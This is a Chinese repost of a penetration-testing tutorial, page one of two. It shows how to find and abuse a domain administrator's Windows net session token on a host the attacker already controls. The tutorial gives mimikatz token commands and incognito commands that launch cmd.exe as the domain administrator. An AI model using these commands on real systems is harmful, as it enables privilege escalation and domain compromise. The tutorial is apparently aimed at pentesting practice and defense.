安全黑客
当前位置:安全黑客文章资讯安全资讯安全新闻
日期:2019-01-03 20:28:00  来源:本站整理

渗透技巧——Windows中net session的利用[安全新闻]

赞助商链接



  本文“渗透技巧——Windows中net session的利用[安全新闻]”是由安全黑客为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:

Windows系统中,使用net use命令能够实现远程连接网络中其他计算机的共享资源,连接建立后会创建一个net session。 在渗透测试中,如果我们获得了一台Windows主机的权限,在上面发现了net session,就可以利用这个net session,使用net session的token创建进程。
0x01 简介
本文将要介绍以下内容:
· 查看net session的方法
· net session的利用
· net session的清除
· 利用思路
· 防御建议
0x02 测试环境
COMPUTER01:
· Win7 x64
· 域内一台主机
· 192.168.10.2
· 使用帐号test1登录
DC:
· Server2008 R2x64
· 域控服务器
· 192.168.10.1
在DC上使用域管理员帐号Administrator通过net use远程连接COMPUTER01,如下图:

0x03 查看net session的方法
1、cmd命令
net session
如下图:

2、LogonSessions
下载地址:
https://docs.microsoft.com/en-us/sysinternals/downloads/logonsessions
如下图:

可以发现,net session的Logon type为Network。
3、c++实现
首先通过Windows API LsaEnumerateLogonSessions()枚举当前的Logon Session。
接着使用LsaGetLogonSessionData()获得每个Logon Session的具体信息。
在程序编写上需要注意无法直接显示sid和时间,需要对格式进行转换。
开源代码地址:
https://github.com/3gstudent/Homework-of-C-Language/blob/master/ListLogonSessions.cpp
代码按照LogonSessions的格式输出结果。
4、mimikatz
privilege::debug
token::list
如下图:

TEST\Administrator对应的ID为6919466。
补充mimikatz的命令
查看当前token:
token::whoami
恢复进程token:
token::revert
假冒成system:
token::elevate
假冒成domain admin:
token::elevate /domainadmin
假冒成enterprise admin:
token::elevate /enterpriseadmin
假冒成admin:
token::elevate /admin
假冒成id为123456的token:
token::elevate /id:123456
0x04 net session的利用
net session的token保存在lsass进程中,如下图:

在利用上,net session等同于对其token的利用。
1、mimikatz
假冒成id为6919466的token:
token::elevate /id:6919466
如下图:

注:
· 上述操作只改变了Thread Token。
· Windows下有两种token:Primary Token和Impersonation Token。
· Primary Token对应Process Token,每个进程都有唯一的Primary Token。
· Impersonation Token对应Thread Token,可以被修改。
接下来,使用该token创建进程cmd.exe:
process::start cmd.exe
但是该命令不会使用新的Thread Token,也就是说进程cmd.exe并没有以TEST\Administrator启动。
原因如下:
https://github.com/gentilkiwi/mimikatz/blob/110a831ebe7b529c5dd3010f9e7fced0d3e3a46c/mimikatz/modules/kuhl_m_process.c#L38
如下图:

https://github.com/gentilkiwi/mimikatz/blob/110a831ebe7b529c5dd3010f9e7fced0d3e3a46c/modules/kull_m_process.c#L490
如下图:

mimikatz在执行process::start命令时,使用CreateProcess创建进程,并没有传入token。
解决方法:
· 修改mimikatz的源码,使用CreateProcessAsUser()创建进程,能够传入Token。
· 当然,我们还可以使用其他工具来实现这个过程。
2、使用incognito
源代码开源地址:
https://github.com/fdiskyou/incognito2
注:
· 在之前的文章《渗透技巧——Token窃取与利用》曾介绍过incognito的用法
· 列出当前token:
incognito.exe list_tokens -u
以"TEST\Administrator"启动cmd.exe:
incognito.exe execute -c "TEST\Administrator" cmd.exe
如下图:

net session利用成功,以用户"TEST\Administrator"启动进程cmd.exe,如下图:

[1] [2]  下一页


  以上是“渗透技巧——Windows中net session的利用[安全新闻]”的内容,如果你对以上该文章内容感兴趣,你可以看看安全黑客为您推荐以下文章:
  • 域渗透技巧之再谈利用ADIDNS绕过 GQBL
  • 渗透技巧——Windows中net session的利用
  • 渗透技巧——RecentFileCache.bcf和Amcache.hve单条记录的清除
  • 渗透技巧——Windows系统文件执行记录的获取与清除
  • 本文地址: 与您的QQ/BBS好友分享!

    文章评论评论内容只代表网友观点,与本站立场无关!

       评论摘要(共 0 条,得分 0 分,平均 0 分) 查看完整评论
    免责条款 - 广告合作 - 下载声明 - 欢迎投稿 - 友情连接 - 网站地图 -
    Copyright © 2012-2013 www.110hack.com. All Rights Reserved .